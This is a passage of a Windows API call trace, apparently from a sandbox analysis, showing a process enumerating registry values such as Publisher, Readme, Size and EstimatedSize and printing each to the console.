0x204bb0 [0151.020] GetFileType (hFile=0x50) returned 0x1 [0151.020] lstrlenW (lpString="Publisher") returned 9 [0151.020] GetConsoleOutputCP () returned 0x1b5 [0151.021] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.021] GetConsoleOutputCP () returned 0x1b5 [0151.021] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0151.021] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.021] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.021] __iob_func () returned 0x7fefd702a80 [0151.021] _fileno (_File=0x7fefd702ab0) returned 1 [0151.021] _errno () returned 0x204bb0 [0151.021] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.021] _errno () returned 0x204bb0 [0151.021] GetFileType (hFile=0x50) returned 0x1 [0151.021] lstrlenW (lpString=" ") returned 4 [0151.021] GetConsoleOutputCP () returned 0x1b5 [0151.021] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.021] GetConsoleOutputCP () returned 0x1b5 [0151.021] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.021] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.021] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.021] __iob_func () returned 0x7fefd702a80 [0151.022] _fileno (_File=0x7fefd702ab0) returned 1 [0151.022] _errno () returned 0x204bb0 [0151.022] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.022] _errno () returned 0x204bb0 [0151.022] GetFileType (hFile=0x50) returned 0x1 [0151.022] lstrlenW (lpString="REG_SZ") returned 6 [0151.022] GetConsoleOutputCP () returned 0x1b5 [0151.022] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.022] GetConsoleOutputCP () returned 0x1b5 [0151.022] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.022] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.022] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.022] __iob_func () returned 0x7fefd702a80 [0151.022] _fileno (_File=0x7fefd702ab0) returned 1 [0151.022] _errno () returned 0x204bb0 [0151.022] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.022] _errno () returned 0x204bb0 [0151.022] GetFileType (hFile=0x50) returned 0x1 [0151.022] lstrlenW (lpString=" ") returned 4 [0151.022] GetConsoleOutputCP () returned 0x1b5 [0151.022] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.022] GetConsoleOutputCP () returned 0x1b5 [0151.023] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.023] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.023] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.023] __iob_func () returned 0x7fefd702a80 [0151.023] _fileno (_File=0x7fefd702ab0) returned 1 [0151.023] _errno () returned 0x204bb0 [0151.023] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.023] _errno () returned 0x204bb0 [0151.023] GetFileType (hFile=0x50) returned 0x1 [0151.023] lstrlenW (lpString="Microsoft Corporation") returned 21 [0151.023] GetConsoleOutputCP () returned 0x1b5 [0151.023] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0151.023] GetConsoleOutputCP () returned 0x1b5 [0151.023] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0151.023] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0151.023] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.023] __iob_func () returned 0x7fefd702a80 [0151.023] _fileno (_File=0x7fefd702ab0) returned 1 [0151.023] _errno () returned 0x204bb0 [0151.023] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.023] _errno () returned 0x204bb0 [0151.023] GetFileType (hFile=0x50) returned 0x1 [0151.023] lstrlenW (lpString="\n") returned 1 [0151.023] GetConsoleOutputCP () returned 0x1b5 [0151.023] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.024] GetConsoleOutputCP () returned 0x1b5 [0151.024] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.024] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.024] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.024] GetProcessHeap () returned 0x3c0000 [0151.024] GetProcessHeap () returned 0x3c0000 [0151.024] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0151.024] GetProcessHeap () returned 0x3c0000 [0151.024] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x30 [0151.024] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0 | out: hHeap=0x3c0000) returned 1 [0151.024] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Readme", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.024] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.024] GetProcessHeap () returned 0x3c0000 [0151.024] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.024] GetProcessHeap () returned 0x3c0000 [0151.024] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.024] GetProcessHeap () returned 0x3c0000 [0151.024] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.024] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0151.024] __iob_func () returned 0x7fefd702a80 [0151.024] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.024] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.024] _fileno (_File=0x7fefd702ab0) returned 1 [0151.024] _errno () returned 0x204bb0 [0151.024] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.024] _errno () returned 0x204bb0 [0151.024] GetFileType (hFile=0x50) returned 0x1 [0151.024] lstrlenW (lpString=" ") returned 4 [0151.024] GetConsoleOutputCP () returned 0x1b5 [0151.025] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.025] GetConsoleOutputCP () returned 0x1b5 [0151.025] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.025] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.025] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.025] lstrlenW (lpString="Readme") returned 6 [0151.025] __iob_func () returned 0x7fefd702a80 [0151.025] _fileno (_File=0x7fefd702ab0) returned 1 [0151.025] _errno () returned 0x204bb0 [0151.025] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.025] _errno () returned 0x204bb0 [0151.025] GetFileType (hFile=0x50) returned 0x1 [0151.025] lstrlenW (lpString="Readme") returned 6 [0151.025] GetConsoleOutputCP () returned 0x1b5 [0151.025] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.025] GetConsoleOutputCP () returned 0x1b5 [0151.025] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Readme", lpUsedDefaultChar=0x0) returned 6 [0151.025] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.025] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.025] __iob_func () returned 0x7fefd702a80 [0151.025] _fileno (_File=0x7fefd702ab0) returned 1 [0151.025] _errno () returned 0x204bb0 [0151.025] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.026] _errno () returned 0x204bb0 [0151.026] GetFileType (hFile=0x50) returned 0x1 [0151.026] lstrlenW (lpString=" ") returned 4 [0151.026] GetConsoleOutputCP () returned 0x1b5 [0151.026] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.026] GetConsoleOutputCP () returned 0x1b5 [0151.026] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.026] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.026] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.026] __iob_func () returned 0x7fefd702a80 [0151.026] _fileno (_File=0x7fefd702ab0) returned 1 [0151.026] _errno () returned 0x204bb0 [0151.026] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.026] _errno () returned 0x204bb0 [0151.026] GetFileType (hFile=0x50) returned 0x1 [0151.026] lstrlenW (lpString="REG_SZ") returned 6 [0151.026] GetConsoleOutputCP () returned 0x1b5 [0151.026] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.026] GetConsoleOutputCP () returned 0x1b5 [0151.026] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.027] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.027] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.027] __iob_func () returned 0x7fefd702a80 [0151.027] _fileno (_File=0x7fefd702ab0) returned 1 [0151.027] _errno () returned 0x204bb0 [0151.027] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.027] _errno () returned 0x204bb0 [0151.027] GetFileType (hFile=0x50) returned 0x1 [0151.027] lstrlenW (lpString=" ") returned 4 [0151.027] GetConsoleOutputCP () returned 0x1b5 [0151.027] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.027] GetConsoleOutputCP () returned 0x1b5 [0151.027] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.027] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.027] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.027] __iob_func () returned 0x7fefd702a80 [0151.027] _fileno (_File=0x7fefd702ab0) returned 1 [0151.027] _errno () returned 0x204bb0 [0151.027] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.027] _errno () returned 0x204bb0 [0151.027] GetFileType (hFile=0x50) returned 0x1 [0151.027] lstrlenW (lpString="") returned 0 [0151.027] __iob_func () returned 0x7fefd702a80 [0151.027] _fileno (_File=0x7fefd702ab0) returned 1 [0151.027] _errno () returned 0x204bb0 [0151.027] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.027] _errno () returned 0x204bb0 [0151.027] GetFileType (hFile=0x50) returned 0x1 [0151.028] lstrlenW (lpString="\n") returned 1 [0151.028] GetConsoleOutputCP () returned 0x1b5 [0151.028] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.028] GetConsoleOutputCP () returned 0x1b5 [0151.028] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.028] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.028] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.028] GetProcessHeap () returned 0x3c0000 [0151.028] GetProcessHeap () returned 0x3c0000 [0151.028] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.028] GetProcessHeap () returned 0x3c0000 [0151.028] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.028] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.028] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Size", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.028] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.028] GetProcessHeap () returned 0x3c0000 [0151.028] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.028] GetProcessHeap () returned 0x3c0000 [0151.028] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.028] GetProcessHeap () returned 0x3c0000 [0151.028] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.028] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0151.028] __iob_func () returned 0x7fefd702a80 [0151.028] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.028] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.029] _fileno (_File=0x7fefd702ab0) returned 1 [0151.029] _errno () returned 0x204bb0 [0151.029] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.029] _errno () returned 0x204bb0 [0151.029] GetFileType (hFile=0x50) returned 0x1 [0151.029] lstrlenW (lpString=" ") returned 4 [0151.029] GetConsoleOutputCP () returned 0x1b5 [0151.029] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.029] GetConsoleOutputCP () returned 0x1b5 [0151.029] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.029] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.029] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.029] lstrlenW (lpString="Size") returned 4 [0151.029] __iob_func () returned 0x7fefd702a80 [0151.029] _fileno (_File=0x7fefd702ab0) returned 1 [0151.029] _errno () returned 0x204bb0 [0151.029] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.029] _errno () returned 0x204bb0 [0151.029] GetFileType (hFile=0x50) returned 0x1 [0151.029] lstrlenW (lpString="Size") returned 4 [0151.029] GetConsoleOutputCP () returned 0x1b5 [0151.029] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.029] GetConsoleOutputCP () returned 0x1b5 [0151.030] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Size", lpUsedDefaultChar=0x0) returned 4 [0151.030] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.030] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.030] __iob_func () returned 0x7fefd702a80 [0151.030] _fileno (_File=0x7fefd702ab0) returned 1 [0151.030] _errno () returned 0x204bb0 [0151.030] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.030] _errno () returned 0x204bb0 [0151.030] GetFileType (hFile=0x50) returned 0x1 [0151.030] lstrlenW (lpString=" ") returned 4 [0151.030] GetConsoleOutputCP () returned 0x1b5 [0151.030] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.030] GetConsoleOutputCP () returned 0x1b5 [0151.030] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.030] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.030] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.030] __iob_func () returned 0x7fefd702a80 [0151.030] _fileno (_File=0x7fefd702ab0) returned 1 [0151.030] _errno () returned 0x204bb0 [0151.030] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.030] _errno () returned 0x204bb0 [0151.030] GetFileType (hFile=0x50) returned 0x1 [0151.030] lstrlenW (lpString="REG_SZ") returned 6 [0151.031] GetConsoleOutputCP () returned 0x1b5 [0151.031] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.031] GetConsoleOutputCP () returned 0x1b5 [0151.031] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.031] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.031] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.031] __iob_func () returned 0x7fefd702a80 [0151.031] _fileno (_File=0x7fefd702ab0) returned 1 [0151.031] _errno () returned 0x204bb0 [0151.031] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.031] _errno () returned 0x204bb0 [0151.031] GetFileType (hFile=0x50) returned 0x1 [0151.031] lstrlenW (lpString=" ") returned 4 [0151.031] GetConsoleOutputCP () returned 0x1b5 [0151.031] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.031] GetConsoleOutputCP () returned 0x1b5 [0151.031] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.031] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.031] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.032] __iob_func () returned 0x7fefd702a80 [0151.032] _fileno (_File=0x7fefd702ab0) returned 1 [0151.032] _errno () returned 0x204bb0 [0151.032] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.032] _errno () returned 0x204bb0 [0151.032] GetFileType (hFile=0x50) returned 0x1 [0151.032] lstrlenW (lpString="") returned 0 [0151.032] __iob_func () returned 0x7fefd702a80 [0151.032] _fileno (_File=0x7fefd702ab0) returned 1 [0151.032] _errno () returned 0x204bb0 [0151.032] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.032] _errno () returned 0x204bb0 [0151.032] GetFileType (hFile=0x50) returned 0x1 [0151.032] lstrlenW (lpString="\n") returned 1 [0151.032] GetConsoleOutputCP () returned 0x1b5 [0151.032] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.032] GetConsoleOutputCP () returned 0x1b5 [0151.032] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.032] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.032] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.032] GetProcessHeap () returned 0x3c0000 [0151.032] GetProcessHeap () returned 0x3c0000 [0151.032] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.032] GetProcessHeap () returned 0x3c0000 [0151.032] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.032] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.032] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.033] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.033] GetProcessHeap () returned 0x3c0000 [0151.033] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.033] GetProcessHeap () returned 0x3c0000 [0151.033] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.033] GetProcessHeap () returned 0x3c0000 [0151.033] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.033] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, 